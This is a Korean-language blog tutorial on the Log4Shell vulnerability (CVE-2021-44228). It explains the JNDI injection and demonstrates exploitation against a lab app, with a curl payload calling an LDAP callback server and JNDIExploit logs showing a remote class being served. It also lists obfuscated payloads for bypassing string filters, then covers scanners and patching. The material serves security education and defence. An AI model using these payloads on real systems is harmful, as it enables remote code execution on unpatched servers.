Log4Shell (CVE-2021-44228)

Log4Shell (CVE-2021-44228)

in

Log4j2 (CVE-2021-44228)

Log4Shell(CVE-2021-44228) 취약점은 자버언어로 제작된 Log4j 라이브러리를 사용하는 대부분의 인터넷 서비스에서 발생하는 최악의 취약점이라고 불리며 하트블리드, CPU 게이트보다 더 한 파급력을 보유한 IT 최대 보안 이슈로 최악의 보안 결함(트리거 자체가 너무 쉽고 로깅 특성상 외부에 노출된 서버 말고도 내부까지 영향을 끼칠 수 있음) 이라고 불리고 있습니다.
2021년 12월 10일 마인크래프트의 통신 서버를 제작하는 PaperMC에서 해당 취약점을 이용한 대규모 해킹 시도를 포착하여 긴급 공지 및 취약점 수정에 들어간 것을 계기로 전 세계적으로 알려진 취약점입니다.
그 이유는 서버에 로그인하는 것만으로 해커가 사용자의 컴퓨터를 RCE(원격 코드 실행)을 할 수 있기 때문입니다.

로그4j(Log4j)란 기업 홈페이지 등 인터넷 서비스 운영-관리 목적의 로그기록을 남기기 위해 사용하는 프로그램으로 Log4j 2 중에 존재하는 JNDI(Java Naming and Directory Interface)인젝션 취약점으로 2013년도에 나온 2.0 beta버전부터 최신버전까지 영향을 받으며 이를 악용하면, 악성 코드 실행(RCE)가 가능합니다.


🔥 Exploit

공격 코드 ${jndi:ldap://attacker_domain} 로 log4j가 JNDI를 통해 공격자 도메인으로 요청을 전송하고 공격자가 JNDI exploit을 미리 준비해 두었다면 code execution이 가능합니다.

Log4Shell sample Vulnerable application 서버 설치 및 공격 진행 깃허브 주소
https://github.com/christophetd/log4shell-vulnerable-app

Base64 인코딩을 통해 touch /tmp/pwned 를 생성하는 공격코드입니다

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

JNDIExploit의 출력은 악성 LDAP 응답을 보내고 2단계 페이로드를 제공했음을 보여줍니다.

[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200

공격 코드 실행 성공 시 피해자의 서버에서 ls 로 확인해보면 /tmp에 pwned 파일이 생성된것을 확인할 수 있습니다.

$ docker exec vulnerable-app ls /tmp
...
pwned
...

현재 버전 업데이트가 어려워 문자열 필터링으로 대응을 하는 곳도 있는데 문자열같은 경우 아래와 같은 방법으로 우회를 진행할 수도 있습니다.

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

🔎 BurpLog4j2Scan

버프스위트의 Extender에서 설치하여 Log4j2rce 에 취약한지 스캔을 해주는 기능입니다

우선 Log4jshell 에 취약한 경량화 HTTP 서버를 설치하여 실행시켜 줍니다.
https://github.com/jas502n/Log4j2-CVE-2021-44228

이미지 2 서버 실행

그 후 아래의 깃헙에서 BurpLog4j2Scan.jar 파일을 설치하여 Burp의 Extender에 추가시켜 줍니다.
https://github.com/tangxiaofeng7/BurpLog4j2Scan

실행하였던 서버의 주소 127.0.0.1:8080 로 접속하여 파라미터가 넘어가는 부분에서 스캐너를 작동시켜주면 공격코드 ${jndi:ldap://attacker_domain}가 입력되며 공격에 취약한지 아닌지 스캔을 자동으로 해 줍니다.

이미지 2 200응답의 로그인 페이지

이미지 2 스캐너 작동

이미지 2 공격 코드 입력 및 취약점 발견

이미지 2 아웃풀 결과

스캐너 외에 또다른 자체 취약점 스캔 방법으로는 아래와 같은 방법이 있습니다.
https://github.com/logpresso/CVE-2021-44228-Scanner

스크린샷 2021-12-12 오후 2 15 55 윈도우,리눅스 스캐너 파일

CMD> log4j2-scan.exe D:\tmp
[*] Found CVE-2021-44228 vulnerability in D:\tmp\elasticsearch-7.16.0\bin\elasticsearch-sql-cli-7.16.0.jar, log4j 2.11.1
[*] Found CVE-2021-44228 vulnerability in D:\tmp\elasticsearch-7.16.0\lib\log4j-core-2.11.1.jar, log4j 2.11.1
[*] Found CVE-2021-44228 vulnerability in D:\tmp\flink-1.14.0\lib\log4j-core-2.14.1.jar, log4j 2.14.1
[*] Found CVE-2021-44228 vulnerability in D:\tmp\logstash-7.16.0\logstash-core\lib\jars\log4j-core-2.14.0.jar, log4j 2.14.0
[*] Found CVE-2021-44228 vulnerability in D:\tmp\logstash-7.16.0\vendor\bundle\jruby\2.5.0\gems\logstash-input-tcp-6.2.1-java\vendor\jar-dependencies\org\logstash\inputs\logstash-input-tcp\6.2.1\logstash-input-tcp-6.2.1.jar, log4j 2.9.1
[*] Found CVE-2021-44228 vulnerability in D:\tmp\solr-7.7.3\solr-7.7.3\contrib\prometheus-exporter\lib\log4j-core-2.11.0.jar, log4j 2.11.0
[*] Found CVE-2021-44228 vulnerability in D:\tmp\solr-7.7.3\solr-7.7.3\server\lib\ext\log4j-core-2.11.0.jar, log4j 2.11.0
[*] Found CVE-2021-44228 vulnerability in D:\tmp\solr-8.11.0\contrib\prometheus-exporter\lib\log4j-core-2.14.1.jar, log4j 2.14.1
[*] Found CVE-2021-44228 vulnerability in D:\tmp\solr-8.11.0\server\lib\ext\log4j-core-2.14.1.jar, log4j 2.14.1

Scanned 5047 directories and 26251 files
Found 9 vulnerable files
Completed in 0.42 seconds

👀 How to Prevent ?

  • Log4j 2.15.0 이상의 버전으로 업데이트
  • 2.10~2.14.1 버전

    log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정

  • 2.0-bate9 ~ 2.10.0

    JndLookup 클래스를 경로에서 제거 : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class


📃 References